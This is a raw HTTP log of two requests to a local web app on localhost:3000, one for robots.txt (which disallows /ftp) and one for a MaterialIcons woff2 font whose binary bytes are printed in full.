GET http://localhost:3000/robots.txt HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: 28\r\nETag: W/"1c-8HgF6mNyhsSFK0pascC9uB0wjX0"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b'User-agent: *\nDisallow: /ftp'
GET http://localhost:3000/MaterialIcons-Regular.woff2 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"eda8-18df12a3c67"\r\nContent-Type: font/woff2\r\nContent-Length: 60840\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'wOF2\x00\x01\x00\x00\x00\x00\xed\xa8\x00\x0e\x00\x00\x00\x02\xb6\xbc\x00\x00\xedP\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x1c\x1b\x10\x1c\x82\x90*\x06`\x00\x914\x11\x08\n\x88\x88h\x86\x8bl\x0b\xa7d\x00\x016\x02$\x03\x93v\x04 \x05\x82z\x07 [g#r\xa2\xf0v?\xa3(uW\x15r\x9b\xfc\xf3\xe3E\xc1\xd8\xb5\xe1v\x04\xed\xcd\x9d\x8f\xaf`\xe3*3\xe8\x0e\x90\x08\xd7v\xdfd\xff\xff\x7fj\xd2\x90\xc3\x92+I\xaf\x0c\x03f\xdb\xef!\x98k&\x9a\x86!Ge\xf4pN\xc9\x99Y\x9333S3Zk\xada\xc1\x13+\xad\xd8\n\xf6\xfd8\xce3i\xe8\xdd2\xef\xd0eWq\xa5W 6\x8bn\xf3\x1b\xfbp\x89\xaa*\x92+[\xfa\xac\x98\x8a\xc6\xf0\xd4k\x8a\xae\xc2J\xea\xfe\x1b\xde\x18\xda#\xa8\xe5\xd9\xd58G\x97\x07I\\\x15XV(;\xb2M\x82l\xb2\x04\x8b5\xfb\xfb\x17^\x0e\x8f\x1e\xdf%ct\xbb/?\xfe\xb1\xf0\xd2\x9bmI\xac\xf8\xbf\x0fc\xc1\x16\x08[\xa9\xa0HPW[\xd0\x12\xeb\x86\x1f\xad\xd8Z\xa8\xe0&\xf1R\xe1g,\xec0\x9f\xf1*\xa0\x1c\x9bS#Y9y\xf2%\x87h\x9b\xc7\x03\xc2\x03*\xa0`\x146\x82bcN\xb1\xb0\x12\xabzS\xb7\xb6V\xaeJ\x17fm\xdaCWn\x8d\xb5h\x97\xe1\x8f8{Mr\t\xdb\x82gIgQ\xf4$\xfb\xf4\x01\xb9\x1d\x16\x10\x07\xc0\xdcu\x80\xb8\xe4\xdf\xd7\xff\xbb\xa3$\x93\xc1\xc3\n\xfd\xa9\xbd\xa2\xbd\xfa*\x08\x95\xc5\nd%\xf8\xfdR\xa3\xde\x0c\x9f\xe2S\x94P\t!\x19\xbbe\xb7;\xc4\xd9\x10\xc2\xe5z\xdb\xb7<\xff\xfc~O[{\x9f\xfbf\x06\xde\x17\xc4$\x89W\xf1\x10\xbd\x8bU\xa25\xd1j\x91f)\x93\x12\x95q6\x13\x91a\xf9\xfc\xea\xcbdR\xa5\r\xb9\x90\x0b5B\x8dP\xa3N\x8d\\\x08/\xa2\xeb\xf4\xbf\xd3\xcc\xaf\xfa\x9aR\xa7\x8cC\xb6-\xc3\x9e\xcc\x99\xb7\xda|]\xd7\xc4a\x8c0F\x88\xc3`\xc5\x85\xd9\xe4f\x1eJ%.8\xbeC\xf9\xe7e\xcf\x9d;/\xdb\xaf&\x19Q\xd1\xa5nB\xd1\xbb\xa4\xc9B\x11\x8a\x90\x14\xf3\xf3\x94\x9b=\xae;\x132\x03\x84#!\x1c\x92\xff\x03r\x05\x15\x90\x0c\x10\xae\x04\xe4\x9a?\\*\xc8\xa5I\xf4\xe6\xf0\xec\xccZ+\xa0\xdd\xd6\xda\x84\nm\xd5\xda\x93I\xcf\xad\xd6\xae\xd8\x86\xdac\xb7\x95\xb6vK\xe8\xb1\x8d\xb6\xf7\x82k\xdc\xa3\xc7\xb6\xbbk \xa25\x9d\x9c\xdc\x8fd\xeb\x0f\x82\x054v*|\xeaj\x01\x9dCj\x8d\x0c\x03\xf5\x01p\x04\xcb\xd9\xa6T\x8f\xe2\x1b\xa8\xea^\xeb\xa1\x9en*\x16j\x81\xb9\xa0>)\xaa\x93\x82\x07\xea\x93\x80\x07\xd1\x81\xfaUt+z\xb5\xf0,\xb4\x1e^j\xfb4\xbc\xa4\xa2\xa37\xc0b\xcf\xe4\x87\x07\x87\x05zNK&\x16\xba\xc8\x1f\x80S\x97\xd6VB\xfd\xa4\x0e\x87\xd8P\xdb\xfbp\x81f\xdbR\x8a\xafs\x1e`\t\xfa\xa3{|\x86\xeb%\xfa}\x832.\xd1\x81\xed:\xc3\xd5\x99\x9e\xff\xb9\xfc_.\xcf\xdd\xbb\x91\xf4*\x14\x0ec6/\xec\x84\xb6d\xde\xc4X\x8e=\xc7S\x9aC}gKSt\xe8\xc1\xfd\xb4\x0c\xc2\xd4\x99\n-\x81 /\xf9t\xc5\x81\xde\x86r\xaa\xa7\xf6w\xd7\xfe\x0cE\x90N\x86\x12\xc8\xf2\x10R\xe7`\x99G\x89\xda\xf9\xf3\xb5\xbf\xc9\xf7\xc0\x10\x18X\x06,p\xa8\x0c\x86!\x84\x86\xce\xb0Y\xfa\x00\xf3\xe6\x97x\xf0N\xad\x9f\x91\x1f\xceH\x0f\xdb,\x92,\xb5]"[.\xdcq\xc1\xb1\x07\x92\xe8\xa7\x8e6\xab\x9f_\xf9\xd7\xfe\xa5\xc0.\x07\n\x07TX>\xea\x1eQ\x1c\x1fp\x0f\xe6\xcb\xa5\xfe\xcc?\xce\\G\xa3\x05CaY\x86\x82\x81[v\n<\xa3I\xacK\x1c\xfdV\x97\xabt\x95^o\x0bq\xdc\xf6\x93\xdd,$\xdc\xf2\x82\xed~Hx\xd7\x1e\xf8\xc0\xfe`\xdf\x9f\xc9;\xfb\x0f\xcd\x01\x14K\x04\xff\xb3\xa0\x9f\x17\x058F\xd1\x98\xc6\xd3\x16\xad\xc4\x05\xd2z\x81\xa9VYY\xa9"\x0f\xfb5_4\xbf\x1f\xe4/\x9e\xa0\xf1\xd5\xef\xf95\x1e\x15e&:2\x9dU\xd1Qi@m\xcd\x18\xa6\xb6\xbai\x0b4\xdav0\x0f\xdf\xa7\xb3\xaa\xf7\xac\xba\xb0K\x03\xb0C\xb3\xeeF\x93\xd6\x0f\x86\x06\xcc\x0c_A\xa3\xadD\xa3tv\x1a\xb5W<\xf9\xa4\xd3i:\x15\x81*\xa9H\xa7\xea\xb4\x13\xcf\xf8\xff\xabj_KHC\x8f\xff\xdf\xa4\xd9\xa8\xe96\xc6\xa2\x9b\xd5\xe6\xaa\xde2\n\xf7=\xbcG\xbc\x87\x0b\x88\x0f$%\x01\xa2e\x91\x8eT&%yL\'\xe2\x01\xa4@Pv\x9e\xb3N\x13r\x92\'\xca\x1bR(\xca\xadBHE\xb3U\xb7\xed\xf2|\xfd=\xd3{\xec\xaf%\t\xec\x04 \xf5mg^\xf0\x9a\t,\x0bHC\xb6\xfe\xbeT\xad+\x9a4=\xa2#\xe4I\xf2Fy#\xb5Qv\xd5\xdc7\xa7\xd3\x1cn[\xf7\xad\xea~h4\xba\x7f\xe3\x83\xec\xdf\xfc\x10\xd0`S @\xca\x00(J\x08\x84\x0c4I\x99\x00A\x98\x828\xb3 \x08\xcat\xd6H\x93\x82V\x93\x12\xd0\x10\xbd\x00$y\t\xc8t\x88\xb24!%i\xe4M!\x1f\xf78\xc79\xee\xf5\xb2\xa7\xbd^\xe6p\xdc\xd3y\xfd\xd8O\xff\xff\xcf %\xe6\x98l\x86\x85""Q\x08\xc4[\xfe\xeeW\xa9\xaf\xec\x85Di\xf7\xb5\xb0\xc7\xed\xdd\xff\xafZU\xa3bD\xc4\x88\x88\x88\x11c\xec\xff\xbf\xdf\xf9\xfd\xff\xa7\xf7\x9ey\xf7\xfd\x9ay_\xc7\x16-ZDD\x89\x88\x88\x12\xa5,\xa5\xf4d\xd3,rY\xb6%\xc1\xad\xb06E a\x04\x92P\xa9.s\xdf\xdc\xbcL\xd7?\xea\xe8\xe9\xdd\xc63\xad\x8a\x94\x11Fa\x87\x91@\xc6\xbc\xfe\x7f\x88n\xff\x1f\xddo,\xc4\xa2\xc8g\x96\xa1\xa0\xec\xae\xa4Yw\xc9]\n\t\x80\xd0\x01\x04\x80\x1a\xd2W\x0b\x96\xd1\xb5\xfc~()\xd78C\xd2\x83\xf3\xfd\x9c\xd5t\xdf{wh;\x18}\x1d\x00\xa2#\xf6\xc9{\x96\xcd`\xb2m\xd5_=\x84\xf1\x17\xf8\xea_h\xe4\xb8w]\xe74\xfdY\xee\x02b\xd4\xa3\xfc\xf8w\xcdlX_\x16\xbbZ\xdc\xe8\xe8\x0e\xeb]\xff\xf7\x81\xfd/\xc7\xdf\x8d\xd0\xd1\xcf\xde\x17\xc3j\xc3\x93\x07u\xf9\xbf+\xe3\n\x7f\xaf\xee\xac\x89\xae\xa9\x07\xe6X\xcdV\xf6k\xa5\xb5\x0ez\x19b\xa4\xc9\xe6Z:\x9aFjJ\x1eM\x02\x8f\xa1\xaf`\xf0\xa7\xa1ov\x80\xce)\xd49\x81\x1a\xc7P\xe5\x08*\x1cB\x99\x03(\xb1\x0fE.\xf84\x0b\xef\xd7\xc7\xd4S3\x06$ng\xedf\x83\xcf\xa8\x8bnu\xac\xb6eY\xad\xde\xe0\xdd\xea-\x9fi\xa0\xd0\xb2\x99\xdd\x1c^-\x99\xe1\x94\x02\x8e\x08\x11Q8\xec\xb1\xe9:\xa3\xea\xd9\x83a\x9fXX\x86(\xdb\x82\xf1t\x86g\x0cT&G\xee\x0f\x90\xcc\x94y\xfaL%\x0bm\xe9n\x91\xac\xb4\xb5\xcb\x91l\xb5\x9dk#\xd9k\x07r\xff\xc1]\xecb\x93\xee\xb3\xc9\xccoV{Y\x87\xb6\x01\x9f\xf7\xd9\x8e\xee\xeb6\xcb\xf6~WK8\x86\x8e\x0b%\xbc\x02A\xdc\xc7\x9f\xb1!\xa1\xc323\x0e\xda\xcb\xb7\naI\x99\x1a\xe9*o\xf7\xdb\x85\x91\x85/]wbt\xcc\x08R\xc4J6&\x85\xcc\xf2\x13w\x92\x8f\x93\xaf8x\xec\xd4\x99\x07\x17\x9d9W\xe8\xe8\xbbTW\xc3\xcd\xd7\xa9\xdez\x17}kY\xfe\x1fK{\xf6\xf1\xee\x17\x7f\xf4\xe0\x11i\xf5_-\x8a\x80Fa\x01J\x08@DJ\n\x0bG\xd1\xa0\xe0$\x08M\tI("\xe035u\xb5\x8e\xf9^\x89\xb0M\xee0\x06\x12\xa8\x8f\xd9\xfb/\xc7\xa7\xaa\xab"K\xf7\x02\x86\xf8I}Qc\x82g\xc5\x92%Z\x0f\x9f\x13\xaa\x9f\x0c,\x11\t{}\x9e\xbf\xfdgX\xf1\xb1\xad\xaa(*\xf4\x11\x91G.\xd0B\xc8\xa9\x8d\xc8\xa3V\x0b?\xb6=]"K\xc2nc\x06\xdd\x8b\xae\xdb\x0c\x96\',\x8ePU\x08M\x18\x95\xb4g\xc2=\x89\xfcM\xbe\xab\xbf=\x00\x0c\x15\x1c\xd0v\x97`\xc4\x0fn\x80\xf3\x90\x81m\x05*Y\x8c%\xf5k\xc2\xffw3\x01\xfdV\x81\xc5\x00\xfbI$\x11\x08\x94c/\xf4w)uH\xfb\xd1\xdc\xa5\x05G\x89l\x9f{\xba\xf5\x08G\xce=2\x94\xc4\xa1\x18-@\x1b\x93cc\xc6*v\x84\x142\x94\x0f\xfd\xd5\xc0\xe5M)\x85M\xa2~w\xa6\x06\xb0TD\xaaF\xd7\x98\xe1\x11vzh\x96\x05\x03H\x95\xe2HeB\xd3\xfe\xf6\x00wTT\xba\xb4|;7\xea\xaf\x84\xae\x88\xf6y\xaa\x8c\xf0\xe6Z1\x99\xb3 \xdf\xdc\xe3\xd1\x8c\x10F\xf7\xac\xd8?\x91\xb1(\xcav$\x1b\xfbb-\x7f\x13\x14<pT<\xf7-\xbc\xfc)%$&X\x83{\xc6W\xc7\x8e\xd0\xb2!yi\xbf\x0eGF\x05\x91\xd0PO\x12u\xdd\xb4\x1e\xde\x1a\xd0\x7fslT\x08\xd5VX\\\x1du\xcc\xa2\x7f\xe7\x9b{a\xebI\xde\x9f\xeb3D\xa8\x11\x9fC\xfb\xb9J\xc0a\x86\xc9\x91\x1b\xa1\x9eHj\x1b\xac\xc6@X\x87&\xbd\x92g\xb0\x91\xd2{\xde\xbaj\x06]\xd6\xbf\xd8k\x9b=\x8d[\xf9\xad\t\x7f.\xd80\xae\xfd8\x08H\xb8w\xd7Y61p\xe0>f\x95\xb1L4\xf9\xe7\x87\x96\xb2S4?B{X\x1eL\xee\xd8\x1fNSa\x0ej^%\x17c\x0frz\xc5]\xc4\x03lx\x17L\xb3W\xb2\xec\xee\xcfI\xc0\xef\xbb\xd6\x15\x8d\xae\xb3(\x8btIl\xb7\xd0d\x05\xab\xde\xbasd\x85\xd7\xe8u\xfdS\xb1\xbc\x99\xf5i\x98\xd9\xec\xefv,\x8di\xd6H^\xa1l_8#N\x85\x82\xb9\xf2\xb1F/\xa9D8\xde\xf0Q>\x86\x84\xdd\xf2\x1f\x82:\xae\x93D\x95\x99\xbf \x96\x04&\x9c\xd7\xefPb%\x1f\xb2\xb2\xfb\xa8\xfb\x8d\x0e\xa3u\xe8\x10,q\xcf\x8c*q\xc9\x07axn\xe89\x8c\xc1\xdf\xb7^(\xc1\xd9\x82\xfb\xb5z\x99P\x12\xd7\xe0\x06O@Gl\xc8\xc0\xd4cY\xfa\x05&rKO\xcbD\x0f\x92\x83\x18\xfe\x96LM\xa4F\xbb\x10l\xeb\xd7\rb\xa5\xb8\x16D\x148\x0e\xcf\t4\xd9\x95\xc1\x99\xb1\xea\xca\xda\x0b,?\xf3\xaf\x86\xb4\xcd\x8d\xab\x87[n\xads\x857\xd9\x1egb\xf1u\xb1\xba\x9a\xb6\xf1\xf5\xc0\xb2V\xd7\x1a\x15o\x17\xfb\x7f`lMH\'\xf5\xb91QO\xe2I\xc3B\xdfv\x0fs\xbd\x99\x80~\xa3\xd7M_D\x07\xe0I\xe6\xc3\xb4\x9a]\x19\x18\x87\xe9\x18\xe5\xc1o\r\xb8\xe8\x03\xb9\xe1\xd6\xdc{\xf7\x94\x84\xf97\xb6\x9e\x7f\x9fuQ8\x8b$Q\x0f\xd60\x98v\xa8t\x9c\xa6A;\x87\x1e\'X\xdeG\xde\xaf\x14+u\xec\xdd\xa6m"\xa9\xbe\x9a\x1c0\xd1^\x0f\x9at\xef\x8bK\x129Oo\x1e\xa4\xc52c\xcc9&;\xd7\xd3\x9b\xf3\xf0\xd6\xf0\xbd\xd9\xa2\x15{\xb9\xf5M\x167b@F\x03\x8c\nd\x00\x08\x1dg\xf1\xa0\xca\x866\xf34\xf49\xe2\x96H\x91\xc9]\xb2\x12y\x14VVm\xf1rU\xd7H\x91>\x94:\xb3?r\x88\xd8\xdf\xea\xd9\x00^\xf4\xd3\xbc"I)\xff\xeb\xd0\x92\xba\xb08\x9b\xabtp\xdbb\x85!\\\xc2\x07 \xae\xcfCrB\xd5{\xc4/\xc9\xce\x17Nx\xccC\x0c\xf0y5\xffoH\xc2-\xad$\x89\\\xe7C\x01\xde[\xd5\xfa%.w\x82\x912\xe9t\xfb\x93\x86\xd8\xe7\xacCpY\xc6>\x8e\xc6\xc9n1\xf5\xdc\'j\xaa\xce\x87\xb4\xd6\xb5\xfc\x0e\xb3\xc08\xf8\xfaY\x96\xa9\x06\xf7\x92\xefG#\x0f\xc3\xba\xb6\xa9\xcd\x83\x00\xe5\xd9\x95\xd7\xd5\x19\xa3\x1c\xb5q_W\x99\xfbI\x86\xa8\xed\x12\xffor\x9c\x17\xcb\x93x\x9a\xfd\x0f\xaf7\x9b\xba\xa8\xb1\x1d\x7f\xae\x05\xda\\\xc0f\xf3\x90\x80P\xc7\xba6\xbd\xb5`\xe5n\xd3 e[\x1aK\x89a\x11\x89\xc3\xae\xc3\xac\x8f\x18\xd7C\xdcjr\xd2\xbc\x7f`\xb6\x88\xa4\xf4\x16NZ\x17K\xa8.\x1fgY\xde\x9cDG\xc1\xc2\xb0X_.\x9ev\xb1\xabM\xfb$\x1bCZd\x9c\xd1\xf5c\x19e\xe4c\x19f\xf8c\x19d\xa8\xdd\xef\x9f~\x82\xe6o\x84u\xbak\x0f\xd2K`\xac\x12\xa5\xdb\x8b\x08`W\x1f\xed\xe9z\xe1\xa1g\xd7HW\xbbh\xec\xf6\xc9\x01\x92\xe9f\xff\xc5\xaa\x80`\xb8h\x86p<\xce\xcd\xa0\x08\xa7\x90\x89\x9a\xf4VRL\xec\xf2a\xfaf\xe8\xc9\xb3\xffF\xd4\xcc\xeb1_?2\x0e{\x90\xf5\x9a\xd52\xc5\xe0\xee \x96\xddZ\xc5Ha\x93{\xaaKA\x02\x1a\x12\xe2E3\xaa&\xa3>\xcb\x9f\'\xf0\xc73\x91\xff\x02\xcf\xbd\xb9tp\x17\xe8\x94\x9eW\xa7\x9e\xc4\xcej>\xc2\xe98G\xfc\xf1\x106\xc0\xb4c\xfbe\x8b\x07\x85\xa1\xf2\xddz2\xb4\x7f@\xfe=\x80\xb6\x18\xb3\x8a\xaf\xd7\xb5\x89\xf8S#\t\x9a\xc1\x11\xcc\x8763CZ\x93\x8a_QC\xf6\x96\xfb\r\x9b \x05\xba\x13y\x8f\xc9\xac\x11\x89\x81JtK\xc9%\xe2\x08I\x89\xef\x01\xcf\\\x9f8\xbd\xfa\x83\x06\xa7\xaf]\xaeq/@\xb0\x13\x1e\x95\xee\xb4\xeb{\xd6?\xfej\x8e\xa9La\xb6\x13\xf6XZ{\xdb\xcb6Y\xc2\x1a\xefH\x80P\x81\x8e\x11\xee\x10\xeeT9\x90\xb0M\x973\x1a\x8a\xba\xbe*\x84$t\xa9\xba\x12\xa1Fw\xbf\x9d8hf\xc7\xaeG>z\xc8\x82G\xe4\x14\x81aQ1\xd3I\x96<\xfe\x98\x8f\xc3%\xe7;r\xa53g\x1f\x1c\xde\xcf\xd1\x8d\xadz/J=(,i\xbe\xed\xf2\xb5[\xed\xa0\xd8\xb7\xa6\xed\xca\xfd\xffK\x118bn*\xef\x19\xf4\xc3h\xb2\x90W\xe3=\xc9H&T6\xa6\xe5\n\x16\xf5\xf1,J\x1b\x97\xba\x06\x95\xec\x90v\xb3>\x1f\xd9\xd8\xde\xb6\xb8BQ\xe1!\x1d\x0f\xfb/C\x1d\x7f\xd8\xdf\xd3jP7A\x19\xcd\xd7\xcc%\xb4K\x7fL6@\xaa\x9e\x06\xa8\x9cty=\xb6S\xd7\x967\x818k\x15\x06\x95V=\xa7U!\xc8C\xc13\xa5I\x83\xa8\x10a\xe53\x89\xa99i\xa7\xb4\xa3\x9f2\xb7tQj\xc2j\xf9\x92\x0e\x9e\xc3\xd4\x8d\x1c$T\x94\x0eB\xab\xcd\xdb\x836\xc4;^\x11\x1f\x15\xa9G\xb1\n\x83\x1fx]\x9a\x14\xd5k\x01\xd9\xcb\xf6\xd1\x97\x84I\tg\x05\x8e\x06DFz<"uB0N\xe2\xeb\x9d\x9b\x07+\x13kMtS\tnWu\xaf]l^\x94\xa2\xdb\xe6\x94\xc1a\x00\x0f\x12\xb1\x07g\x06UHt\xf9+d_\nR\xc9eu+\x88\xb2Y\x06Y\xd8\x86\xe3\xb0\xeb\xfc<\x87\xdav\xe2\n\xe6\x96\xc7\xbe\x17\x9cx\xed\x00\x8c\x8c\xff;\xb8\x07\x18\xc6Ug>EI\x1e\xc3*\xb8\xacU\x9e\'\x0f\xef\r\x87/\x9aV\xab\x81\x8e\xaaO4y\xb9m\xb7\x1d\tS\x88\xce\xc5\x90y\x0f\xe4\\Jt<\\\x1c\x90\xb9\x99\xb0g\xca\x18uV\xe9\xdd\x9336&r#\xaeYp\x1dD\xdfA\xd6\x1c\x8a\x11\x9c\xed\xdc8\xfa\xcc|B\x80\xa8Ee\xd6i\xb8GX&+|\x87[\xa4\xc2\xccs\xb1B\x18\x88\xc97\x0b\xdd\xc0\x81\x94z\x81\xbe\x00\x1a\xf7\x04\xd3(}\xc4\xee\xf5\x04\xd8\x80i\xa6\xf9\x1e\xf2P\x07\xa7\x95\xa0\xfe\x93\x8fo\x03\xacU\xf014\x8f\x8d""\xb4L\xe4\xf9\x87\xc9\x86ZA\\\xedmZ@\x0b\xd6\xd9\xa2\xcf\xfb8K#\x8c\xd13\xb2\xe7\xd9\xa6\x90\x15\xf4yp\xc8\xe4\xe6vY6ky`\x9e[\x01/\xb2\xbe3\xd1\xda\xf3eM\xd9Q\xec\xb9\xcd\xae\xa3P]\xbd\x15D\xad:{]\xfa\x0c\x14\x83\xab\x9bE\x8dw\x03\xe2\xc5\x9b)q\xb6\xe9\xe7#\x9e\xc1D\xa8\xb0Gz\x05\xdf\xb9\xa6a\x8fK1B\xd9\xa5{\xf7\x90\x04\x98\x851\xb7\x9eO \xb9)\xa6/}8\n\xfca|\xa47\x9b5n0%.<\x86\xd1\x03\x16\xf8\xd0\x1c\xa8|\n\xd6\x7f$DV\xec\xa1\x8f\xe3\xbd\x86\xfew\xd5;p7\xe9@\x8e#eg\xc2\xdd(\xb8\xc1\xee,\x0f\xc3d\x19)\x1d\xf7\xf80\xf9g\x94n\xbc\x86\x9b\x82bc\x12\xdf{4\x18\x05\xecuG\xef>\xe4\xecV3\xb4\xb3\xbb\xb5~p\xdfD\xa9H\x9em\x13\x13\x907\x96\x81}G}\xf8\x9d\x0f\x05j\xbaJ\xf4\xae\xe3\xcb\xd0m\x13\xc0\xda\xe4M\xd2\xc4pK\x0c\xa5\x8c\x87\x8f\xfa\xed\x8b\x19\xee\x0cR\xc9\x01\xed2\xf8\xdd\x93]5dJ\xd3\xcc\xfd\xa8+\xa2\xea\xce\xeea\xb8\xf1\xea\xec\xee^dJE\xa8\x965GZ\xba\x85\xd5\xeb!\xfb&\xf0X\xc6\r7p\x8bt\xc7\xc8\x8etV\xc3\xcd?fa\x15\xa7>E\xf5\xcb\xa5MR\x1a-\xf5,\xd5\xe7\xd3{u\xe2\xac\x9c\xbb\xac\x16\x9ba\xb2\xec\xe64\xd4\xa8\xb4~\x8c\xfbvX\xd6n\x82{\xce\x8a\xbbw\xde\xa4d\x12\xd7\xff\x189\x10\x16\xe5D\xd8\x15\x0f&F\x8b\x82K\xcc\x97\xdfx\x14\xe1\xf1\xd4\xff7\xbb5\xb0;,Yt\xe8\xf1\'O\xfa\xd2Ul\x13\x04\xf9\xbe\xff\xe5\xfa9\xcd$\xe6t`\xce\x13v_}\xb7\xe5{\xb9\x9d=\xafG\x03\xd0\x81@\xa1\x00\x04r\xc2\xa8s`\x94\x92:;$6\x8c\xda\xf5V$\x9f\xa8\xa4D\x955\xd3\x87\x1a\x05K\xda\xcd[6y\xcf>#\x133\x0bPM@%!\xea1\xbd\x85oX\xd8\xd2\t\xc7\xe5\x81\xca\xe1b\xa6r\x15P\x13@\xb2u\xeb\xe1\xa9d\xd8\xac\x98\xe6\xac^\xb0\x14\x1bY\xa8,\x8e\xd5\x7fF#\xd2\xfc6v8\x1b\xf1T\x81-\xb7\xd6\x00\xc97\xb7\xbb`@\xd1gK=\x89\xfe\x00\xda\xa89iS\xd4\xceg\x89\xcb\xe3\xe0\xcd\xdf\xa6\x12\xea\xeb\'\xf6\x1a\x00\xdf\x7fD\xbd\xa1\xa2A}\xe3\xd48\xc4\x91\x84\x04$\xdb\\\xee\'2\x12\xec\x1a\xfc\xfcx\xbe\x88\x91\xd5qpd\xf9\xd79E\x17\xbc\xa0\xd4_\x10\x88T|\x12}o\xe3\x8a1\x85\xc4f\xbd\xf9\x95\n[\xf5{\x1a\xf8\xc4\xd7\xdd\xbc\xde\xd6D\xa9Mv6\xde\x04(\xbbn\xd5\xbc\x89\xb4\xfd\xa2\xdf\xc9\x98O\xa6/\xb58!\xe3\x03\xb5\x98Y\xc7\t\x14`\x7f\xfd\xad\xaa\xb6]\xf9D)\xe5\xbd\xb0\xae\x91\xa2j\x0e9_\x08\x10\xee\x18\t\xae\xa2\x0f\xc7\xecE\x12h\xed\x8d\tm\xeb\xc4x\xfav\xd7la\x9a\x10\xff\xc2\xc1\xb3\xef[Q\xbb\x80\xc5\xca\xe7}\xb2y\xc3_\xd6\xcb}{\xae\xbf+\x8c\xc3\xed]\x1a\xe4\xf1u\xddyy\x971%\x95\x12g\xefswk\xdeS"\xf0\xe1\xcd\xb3\x0c\x0c-\x19"f\x7f\xc22\xd9EZ\xa0\xf0\x07\xb2YE\xf0D\x87\x8b\x9ac\x8c\xbfEI\x05o\xf3\xbbM\xfab\xca\x87\xc9a?\x12I\xa9rT\xa1|f\xaaB\xebulP\xb0^\xe7$MC\x93\x9aN\xa0N\xd0\x88\x89\xba\x1a\r&^\xad\xe4>\xce"-\x1e\'\xaa\xceN\xde\xa8b\x83^P\xe0a/\xe1\xd8\x98\x841#\x1b\xba`\xc8\x8f$\x10b.\x06\xea\xc7R\xd8\xe5N\x82\x88\x8d\xa1b\xafW\x8f\xa2\xd8b\xb6\xb76\x07\x10\xb1\xc7\xe7\x07\xe8H\x17\xa2\xc9r\xed\xed\x1e\xb2Q.\xa019<o\xe20`d\x86\xe2\xf1t\xab\xe4\xc7k\xdcM\xf1\xd6R\x8e\x94\xd2\xe9\x9e\x9cr\t\xc9\x11\xf2\xe9\x14\xd0&\xaa\x07x\xd7\x88>=\xc8\x85\x18\x85d\xdbA\xd7\xdcYi\xa6\x8b\xb0a\xb7!\\H\x94\xca\xff\xd3\xad\xe1<3\x1d\xf6,@\xd0\xe3\x94hTZ3\x9f\xae\x00\xa9\x94\xd3`\xb3=o{\xe7\x8b\x8d\xa3\x865\xdc\x81\xc3G\xcf\xe9\x19\x9c\x9b\xd3\x8c.\x82\xa2-\xbde\xbb\\\x0b-\xba\xf2\xab\xb9\xeaW\xcb:;7\x95\x0f\x92e\xff\xb6\x03]\xc7}\xcb\xbf\xd5\x9d\xca"bf\x11u\xc7\xc3_\xf8o\xd5\xfa\'\xa5 \xf6\xa2\xba\xafU\xd6\x91\xac\xf7\xaa\x1bRr\xe5\xa9\x8cl\xf8\xd3\xf2\xde\xd6\x0e\xb2D\xe11\x0c\xc5x@\xd3D\xfa\xdd\xac\xde~\xf6~\xd6\xf9\x9eGo\xadN\xf9f\x84(\x88\xc6\x0c64\x87\x1e\xe2G\x03%\xdf\x81\x0b\x05M\x80\x8b\xe3\x9eb_\x1f\xac\x0b\x9c\x1c\x02\x1f\xb8d\xfdV\xb9J2\xa8\x08\xde\xeft\xed\xe6\xb3\x0f\xf2\x0c\xeb2\xbb\xfb\x15VT\xdc\xa09Hm\xc5v\\\r\x94y4\xefC\xcf\xe0\x1c\xc9B\xca\x8eC\x9f\xbf\xb6p\xe4J\xba8\xf2\xb7\xc4\x87\x9efi\xb1\x88#`\x16\xae5\xa8@3\xc5\xff\xccS=\x0bYy\xc7w\x02\x1d\x00p"1\xe5\xa1\xa8Z\xd5S\xde\xed*\xf9\x0ft\xab\xc1\x95\x9by1V\t\xb7\xd86s\xc0\xb6\x90\xdb}\xf7s?\x98\x14H*\xbf\xdf\xe3\xdd\x035iCQ\xae7\x03+\xc1\xe2\x9b\x05\xa7\x03\xac\xb7\xcd\xe4\xee\x1d\x80\x8b\x8a\xf5L6]\xd5;\xc8~H\xbe\xd7\xa5\xadV\xb1G\xf2\r\x8c\x7fb\xd1vKe[\xf9@\xdb\x07\xa7`\xdcPG\xc8\x8c\x07M\xd4\xf2\xc9\x1bV\xdc[\xce\xa0;\x86\xb9\x91\x85\xf5\x9f@\n\x11\xbd\x1bd{\x8f\xb6L\xa4>\xba\x16\x82\xe8\xc3\x1bR*t\xfc?\xe3rWZ 